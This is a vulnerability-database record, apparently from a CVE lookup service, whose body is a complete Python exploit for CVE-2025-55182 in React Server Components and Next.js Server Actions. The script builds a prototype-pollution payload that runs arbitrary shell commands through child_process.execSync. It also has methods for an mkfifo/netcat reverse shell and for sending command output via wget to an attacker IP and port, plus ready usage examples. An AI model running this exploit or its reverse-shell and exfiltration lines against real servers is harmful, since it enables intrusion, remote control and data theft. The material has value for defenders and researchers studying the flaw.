{"uuid": "2e5fbe69-3e25-46fd-b861-dd01b344fbaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "title": "CVE-2025-55182 - React Server Components RCE Exploit", "description": "```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2025-55182 - React Server Components RCE Exploit\nFull Remote Code Execution against Next.js applications\n\n\u26a0\ufe0f  FOR AUTHORIZED SECURITY TESTING ONLY \u26a0\ufe0f\n\nAffected versions:\n- react-server-dom-webpack: 19.0.0 - 19.2.0\n- Next.js: 15.x, 16.x (using App Router with Server Actions)\n\nThe vulnerability exploits prototype pollution in the Flight protocol\ndeserialization to achieve arbitrary code execution.\n\nCredit: \n- Wiz for vuln discovery\n- @maple3142 for first working poc\n- @dez_ for this vibe poc\n\n\"\"\"\n\nimport requests\nimport argparse\nimport sys\nimport time\n\n\nclass CVE2025_55182_RCE:\n    \"\"\"Full RCE exploit for CVE-2025-55182\"\"\"\n    \n    def __init__(self, target_url: str, timeout: int = 15):\n        self.target_url = target_url.rstrip('/')\n        self.timeout = timeout\n        self.session = requests.Session()\n    \n    def build_payload(self, command: str) -&gt; dict:\n        \"\"\"\n        Build the RCE payload that exploits prototype pollution.\n        \n        The payload creates a fake React chunk object that:\n        1. Pollutes Object.prototype.then via \"$1:__proto__:then\"\n        2. Sets _formData.get to Function constructor via \"$1:constructor:constructor\"\n        3. Injects code via _prefix that gets passed to Function()\n        \"\"\"\n        # Escape single quotes in command\n        escaped_cmd = command.replace(\"'\", \"'\\\"'\\\"'\")\n        \n        # The malicious fake chunk structure\n        payload_0 = (\n            '{\"then\":\"$1:__proto__:then\",'\n            '\"status\":\"resolved_model\",'\n            '\"reason\":-1,'\n            '\"value\":\"{\\\\\"then\\\\\":\\\\\"$B1337\\\\\"}\",'\n            '\"_response\":{'\n            '\"_prefix\":\"process.mainModule.require(\\'child_process\\').execSync(\\'' + escaped_cmd + '\\');\",'\n            '\"_chunks\":\"$Q2\",'\n            '\"_formData\":{\"get\":\"$1:constructor:constructor\"}'\n            '}}'\n        )\n        \n        return {\n            '0': (None, payload_0),\n            '1': (None, '\"$@0\"'),  # Reference to chunk 0\n            '2': (None, '[]'),      # Empty array for chunks\n        }\n    \n    def execute(self, command: str) -&gt; dict:\n        \"\"\"\n        Execute arbitrary command on the target server.\n        \n        Args:\n            command: Shell command to execute\n            \n        Returns:\n            dict with success status and any output\n        \"\"\"\n        print(f\"[*] Target: {self.target_url}\")\n        print(f\"[*] Command: {command}\")\n        \n        headers = {\n            'Accept': 'text/x-component',\n            'Next-Action': 'x',  # Invalid action ID triggers vulnerable path\n            'User-Agent': 'CVE-2025-55182-Exploit/1.0',\n        }\n        \n        files = self.build_payload(command)\n        \n        result = {\n            'success': False,\n            'command': command,\n            'target': self.target_url,\n        }\n        \n        try:\n            print(f\"[*] Sending exploit payload...\")\n            resp = self.session.post(\n                self.target_url, \n                headers=headers, \n                files=files, \n                timeout=self.timeout\n            )\n            result['status_code'] = resp.status_code\n            result['response'] = resp.text[:500]\n            \n            # A 500 response often indicates the exploit worked\n            # (the command runs but the response fails to serialize)\n            if resp.status_code == 500:\n                print(f\"[+] Exploit sent successfully (status 500)\")\n                result['success'] = True\n            else:\n                print(f\"[?] Unexpected status: {resp.status_code}\")\n                \n        except requests.exceptions.Timeout:\n            # Timeout is expected - the server hangs processing the payload\n            print(f\"[+] Request timed out (expected during RCE)\")\n            result['success'] = True\n            result['timeout'] = True\n            \n        except Exception as e:\n            print(f\"[-] Error: {e}\")\n            result['error'] = str(e)\n        \n        return result\n    \n    def check_vulnerability(self) -&gt; bool:\n        \"\"\"Quick check if target is vulnerable\"\"\"\n        print(f\"[*] Checking if {self.target_url} is vulnerable...\")\n        \n        headers = {\n            'Accept': 'text/x-component',\n            'Next-Action': 'x',\n        }\n        \n        # Simple detection payload\n        files = {\n            '0': (None, '[\"$1:a:a\"]'),\n            '1': (None, '{}'),\n        }\n        \n        try:\n            resp = self.session.post(\n                self.target_url, \n                headers=headers, \n                files=files, \n                timeout=10\n            )\n            \n            if resp.status_code == 500 and 'E{\"digest\"' in resp.text:\n                print(f\"[+] Target appears VULNERABLE!\")\n                return True\n            else:\n                print(f\"[-] Target may not be vulnerable (status {resp.status_code})\")\n                return False\n                \n        except Exception as e:\n            print(f\"[-] Check failed: {e}\")\n            return False\n    \n    def reverse_shell(self, attacker_ip: str, attacker_port: int) -&gt; dict:\n        \"\"\"\n        Attempt to establish a reverse shell.\n        \n        Args:\n            attacker_ip: IP address to connect back to\n            attacker_port: Port to connect back to\n        \"\"\"\n        # mkfifo reverse shell - works on Alpine/busybox containers\n        revshell = (\n            f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc {attacker_ip} {attacker_port} &gt;/tmp/f\"\n        )\n        \n        print(f\"\\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}\")\n        print(f\"[!] Start listener: nc -lvnp {attacker_port}\")\n        \n        return self.execute(revshell)\n    \n    def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -&gt; dict:\n        \"\"\"\n        Execute command and send output to attacker via HTTP POST.\n        \n        Args:\n            command: Command to execute\n            attacker_ip: IP address to send output to\n            attacker_port: Port to send output to\n            \n        Start a listener with: nc -lvnp PORT\n        Output will arrive as HTTP POST body.\n        \"\"\"\n        # Using wget to POST command output back\n        exfil_cmd = f'wget --post-data=\"$({command})\" http://{attacker_ip}:{attacker_port}/ -O- 2&gt;/dev/null'\n        \n        print(f\"\\n[!] Executing: {command}\")\n        print(f\"[!] Output will POST to {attacker_ip}:{attacker_port}\")\n        print(f\"[!] Start listener: nc -lvnp {attacker_port}\")\n        \n        return self.execute(exfil_cmd)\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='CVE-2025-55182 React Server Components RCE Exploit',\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog='''\nExamples:\n  # Check if vulnerable\n  python3 exploit_rce.py http://target:3000 --check\n  \n  # Execute command (blind)\n  python3 exploit_rce.py http://target:3000 -c \"id\"\n  \n  # Execute command with output exfiltration\n  python3 exploit_rce.py http://target:3000 --exfil \"id\" 10.0.0.1 4444\n  \n  # Reverse shell (uses mkfifo + nc, works on Alpine)\n  python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444\n'''\n    )\n    \n    parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)')\n    parser.add_argument('-c', '--command', help='Command to execute (blind)')\n    parser.add_argument('--check', action='store_true', help='Check if vulnerable')\n    parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), \n                       help='Reverse shell to IP:PORT')\n    parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),\n                       help='Execute CMD and POST output to IP:PORT')\n    parser.add_argument('-t', '--timeout', type=int, default=15, \n                       help='Request timeout (default: 15)')\n    \n    args = parser.parse_args()\n    \n    if not any([args.check, args.command, args.revshell, args.exfil]):\n        parser.print_help()\n        print(\"\\n[!] Specify --check, --command, --revshell, or --exfil\")\n        return 1\n    \n    exploit = CVE2025_55182_RCE(args.target, args.timeout)\n    \n    print(\"=\" * 60)\n    print(\"CVE-2025-55182 - React Server Components RCE\")\n    print(\"=\" * 60)\n    \n    if args.check:\n        return 0 if exploit.check_vulnerability() else 1\n    \n    if args.command:\n        result = exploit.execute(args.command)\n        return 0 if result.get('success') else 1\n    \n    if args.revshell:\n        ip, port = args.revshell\n        result = exploit.reverse_shell(ip, int(port))\n        return 0 if result.get('success') else 1\n    \n    if args.exfil:\n        cmd, ip, port = args.exfil\n        result = exploit.exfiltrate(cmd, ip, int(port))\n        return 0 if result.get('success') else 1\n    \n    return 0\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n```", "description_format": "markdown", "vulnerability": "CVE-2025-55182", "creation_timestamp": "2025-12-05T08:43:03.897961+00:00", "timestamp": "2025-12-05T08:43:03.897961+00:00", "related_vulnerabilities": ["CVE-2025-55182"], "meta": [{"ref": ["https://gist.github.com/joe-desimone/ff0cae0aa0d20965d502e7a97cbde3e3"]}], "author": {"login": "cedric", "name": "C\u00e9dric Bonhomme", "uuid": "af0120d0-3dac-4a6a-974b-a9f33d2a9846"}}
